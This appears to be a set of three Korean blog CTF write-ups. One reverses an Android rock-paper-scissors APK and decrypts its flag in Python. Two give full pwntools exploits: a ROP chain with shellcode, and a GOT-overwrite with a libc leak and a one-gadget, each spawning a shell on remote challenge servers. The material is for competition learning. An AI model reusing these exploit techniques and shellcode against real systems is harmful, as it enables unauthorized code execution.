## HDCON_2017(Fabuary, rev)
[Summary]
1. Android APK 리버싱 & native library 리버싱 문제이다.
2. 가위바위보를 하는 어플리케이션이 있는데 17916점을 넘기면 이기는 어플이다.
3. 한번 이길 때마다 1점씩오르며 각 가위,바위,보를 34999번이상 시도할 수 없다.(수동 방지인듯..)
4. rpc_calc()함수에서 score가 17916점을 넘기면 하드코딩된 값과 xor연산을 하여 키값을 생성해냄.
5. CallMe에서 해당 키값을 이용하여 하드코딩된 encrypt된 flag를 ck()를 호출하여 decrypt함.
[Analysis]
이 문제는 간단하게 요약하면 가위바위보를 하는 어플리케이션이 있는데 이기면 Score가 1점 올라가는 시스템이다.
해당 어플리케이션은 아래 [그림 1]과 같다.
[그림 1] HDcon 어플리케이션 UI
이제 이 apk를 jadx로 분석해보면 크게 2개의 중요한 루틴이 있다. 첫 번째는 가위, 바위, 보 버튼을 눌렀을 때 동작하는
ClickListener인데 코드는 아래 [그림 2]와 같다.
[그림 2] Paper button ClickListener 코드
위 [그림 2]에 나온 코드는 보를 클릭했을 때의 동작을 나타내는 코드인데 나머지도 코드가 비슷하므로 이것만
분석하면 된다.
우선 qq라는 변수에 시스템이 랜덤으로 생성해 낸 가위, 바위, 보 중 하나를 넣고 '보'를 의미하는 3을 첫번째 인자로
qq를 2번째 인자로 rps_calc라는 함수를 호출하는데 이는 native library에 있으므로 해당 라이브러리를 IDA로
분석해야한다. 일단은 코드를 쭉 보면 rps_calc()함수의 리턴 값을 setText()로 어플리케이션에 출력하는데
2017일 경우는 특별한 동작을 한다. "mm"에다가 rps_calc()함수의 리턴 값을 넣고 send broadcast를 한다.
대충 딱 봐도 이게 문제를 풀었을 때 동작하는 루틴이겠구나라고 알 수 있는 부분이다.
이제 그럼 rps_calc()를 분석해보도록 하겠다. IDA로 library를 열어서 rps_calc()함수를 들여다보면 아래 [그림 3]
과 같다.
[그림 3] rps_calc() 함수 디컴파일
다른 부분은 볼필요가 거의 없다. 그냥 이겼을 때 "You Win"을 출력하고 졌을 때 "You Lose"를 출력하고 뭔가 이상한
걸 탐지하면 이상하다고 출력하는 부분이다. [그림 3]의 코드를 보면 score > 17916인 분기문을 볼 수 있는데 딱봐도
score가 17916이상이면 뭔가를 하고 아까 분석했던 것처럼 2017이 들어있는 문자열이 나오겠구나 생각할 수 있다.
그럼 그안에를 보면 하드코딩된 값과 0x58을 xor하는 것을 볼 수 있는데 이걸 그냥 직접 해보면 "HD-C-O-N-2-0-1-7"
이 나온다. 이제 이걸로 아까 [그림 2]에서 분석했던 걸 참조하면 mm변수에 해당 키값을 넣고 send한다는 것을
알 수 있다.
그럼 이제 apk에서 봐야한다고 했던 2번째 부분을 보면 되는데 바로 CallMe이다. 코드는 아래 [그림 4]와 같다.
[그림 4] CallMe 코드
이 코드를 보면 mmm 변수에 mm으로 받은 값을 집어넣고 하드코딩된 encrypted flag와 뭔가
쿵짝쿵짝을 하는걸 알 수 있는데 키 값이 16자이므로 16자넘어가면 첨부터 key값 사용하는 루틴이 보이고
핵심 decrypt하는 루틴은 ck()함수에서 하는 것이라고 생각할 수 있다. ck()함수는 index를 첫 번째 인자로,
key값dmf 2번째 인자로, decrypted flag를 3번째 인자로 받고 호출된다. 그럼 이제 IDA로 ck()함수를
분석하면 되는데 디컴파일된 결과는 아래 [그림 5]와 같다.
[그림 5] ck() 함수 디컴파일
위 [그림 5]의 코드도 굉장히 간단한데 index값을 기준 삼아 case문으로 분기를 나누고 그냥 시프트 연산
xor연산으로 쿵짝쿵짝하고 리턴하는 간단한 함수이다. 따라서 이건 파이썬으로 똑같이 짜주면 decrypt가
가능하다. 그렇게 나온 결과는 "[*] flag is : W@tching_7th_Sunse7_in_B@li" 이었다.
[Exploit Code] - rock_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | key = list("HD-C-O-N-2-0-1-7") enc_flag = list("SBtbhfle_7tg]Runsj5]io_MBmi") dec_flag = [] def ck(i, key, enc_flag): if(i%6 == 0): result = chr(((ord(key) & 0xfff0) >> 4) ^ ord(enc_flag)) return result elif(i%6 == 1): result = chr(((ord(key) & 0xffe0) >> 5) ^ ord(enc_flag)) return result elif(i%6 == 2): result = chr(((ord(key) & 0xff80) >> 7) ^ ord(enc_flag)) return result elif(i%6 == 3): result = chr(((ord(key) & 0xffc0) >> 6) ^ ord(enc_flag)) return result elif(i%6 == 4): result = chr(ord(enc_flag)) return result elif(i%6 == 5): result = chr(ord(enc_flag) ^ 0xf) return result else: result = chr(67) return result for i in xrange(len(enc_flag)): if(i<16): dec_flag.append(ck(i, key[i], enc_flag[i])) else: dec_flag.append(ck(i, key[i-16], enc_flag[i])) print "[*] flag is : " + "".join(dec_flag) | cs |
[Get Flag~~!!!!]
[그림 6] flag
끝~!
'CTF writeup' 카테고리의 다른 글
[HITCON CTF_2017] start(pwnable) (0) | 2017.11.22 |
---|---|
[CSAW CTF_2017] prophecy(reversing) (0) | 2017.09.21 |
[ASIS CTF_2017] mrs. hudson(pwnable) (0) | 2017.09.13 |
[Tokyo Westerns CTF_2017] swap(pwnable) (0) | 2017.09.13 |
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
## ASIS CTF_2017(mrs. hudson, pwn)
[Summary]
1. rop를 이용해 scanf("%s",bss); 호출
=> pop_rdi, pop_rsi_r15 가젯 이용
=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.
=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데
그 주소를 이용.
=> 쉘코드 입력하고 exploit!
[Exploit Code] - mrshudson_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | from pwn import * #import hexdump context(arch='amd64',os='linux') #local=True local=False if local: p = process("./mrs._hudson") else: p = remote("178.62.249.106", 8642) binary = ELF("./mrs._hudson") raw_input() shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" #shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" bss = 0x601040 pop_rdi = 0x4006f3 pop_rsi_r15 = 0x4006f1 scanf_plt_6 = 0x400526 aS = 0x40072b if __name__ == '__main__': payload = "A"*0x70 + "ebppebpp" payload += p64(pop_rdi) + p64(aS) payload += p64(pop_rsi_r15) + p64(bss) + p64(bss) payload += p64(scanf_plt_6) payload += p64(bss) p.send(payload + '\n') p.send(shellcode + '\n') p.interactive() | cs |
[Get Flag~~!!!!]
[그림 1] flag확인
끝~!
'CTF writeup' 카테고리의 다른 글
[CSAW CTF_2017] prophecy(reversing) (0) | 2017.09.21 |
---|---|
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
[Tokyo Westerns CTF_2017] swap(pwnable) (0) | 2017.09.13 |
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
[Samsung CTF_2017] Buildingblocks(Coding) (0) | 2017.07.23 |
## Tokyo Westerns CTF_2017(swap, pwn)
[Summary]
1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)
2. oneshot gadget을 얻기 위해 libc leak을 해야한다.
=> setvbuf_got를 puts_plt로 덮어씌운다.
=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))
=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))
3. exit_got를 oneshot_gadget으로 덮어씌운다.
[Exploit Code] - swap_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | from pwn import * context(arch='amd64',os='linux') #local=True local=False if local: p = process("./swap") else: p = remote("pwn1.chal.ctf.westerns.tokyo", 19937) binary = ELF("./swap") raw_input() puts_plt = 0x4006b0 memcpy_got = 0x601040 puts_got = 0x601018 read_got = 0x601028 exit_got = 0x601058 setvbuf_got = 0x601048 start_addr = 0x400760 stdin_addr = 0x601090 stderr_addr = 0x6010a0 def print_menu(): p.recvuntil('Your choice:') def set_addr(addr1, addr2): print_menu() p.send('1'+'\n') p.recvuntil('1st addr') p.send(str(addr1)) p.recvuntil('2nd addr') p.send(str(addr2)) def swap(): print_menu() p.send('2'+'\n') if __name__ == "__main__": ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got) set_addr(memcpy_got, read_got) swap() ## Stage 2 : leak libc addr ## - setvbuf_got <= puts_plt ## - exit_got <= start_addr (for trigger setvbuf(puts)) ## - stderr <= stdin (for puts(_IO_2_1_stdin's addr) ## => result : libc stdin leak => libc base => one shot set_addr(0, setvbuf_got) swap() p.send(p64(puts_plt)) set_addr(0, exit_got) swap() p.send(p64(start_addr)) set_addr(0, stderr_addr) swap() p.send(p64(stdin_addr)) p.send('0'+'\n') p.recvuntil('Bye.') p.recvline(); p.recvline(); p.recvline() ## leak & calc _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00") libc_base = _IO_2_1_stdin_leak - 0x3c48e0 one_gadget = libc_base + 0xf0274#0x4526a print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak) print "[+] libc base addr : " + hex(libc_base) print "[+] one shot gadget : " + hex(one_gadget) ## Stage 3 : exit <= oneshot_gadget set_addr(0, exit_got) swap() p.send(p64(one_gadget)) ## Final : trigger p.send('0'+'\n') #print p.recv(1024) #puts_leak = p.recv(1024)[:6]+"\x00\x00"; #print "[+] puts addr : " + hex(u64(puts_leak)) p.interactive() | cs |
[Get Flag~~!!!!]
[그림 1] flag 확인
끝~!
'CTF writeup' 카테고리의 다른 글
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
---|---|
[ASIS CTF_2017] mrs. hudson(pwnable) (0) | 2017.09.13 |
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
[Samsung CTF_2017] Buildingblocks(Coding) (0) | 2017.07.23 |
[Samsung CTF_2017] dfa(Defense) (0) | 2017.07.23 |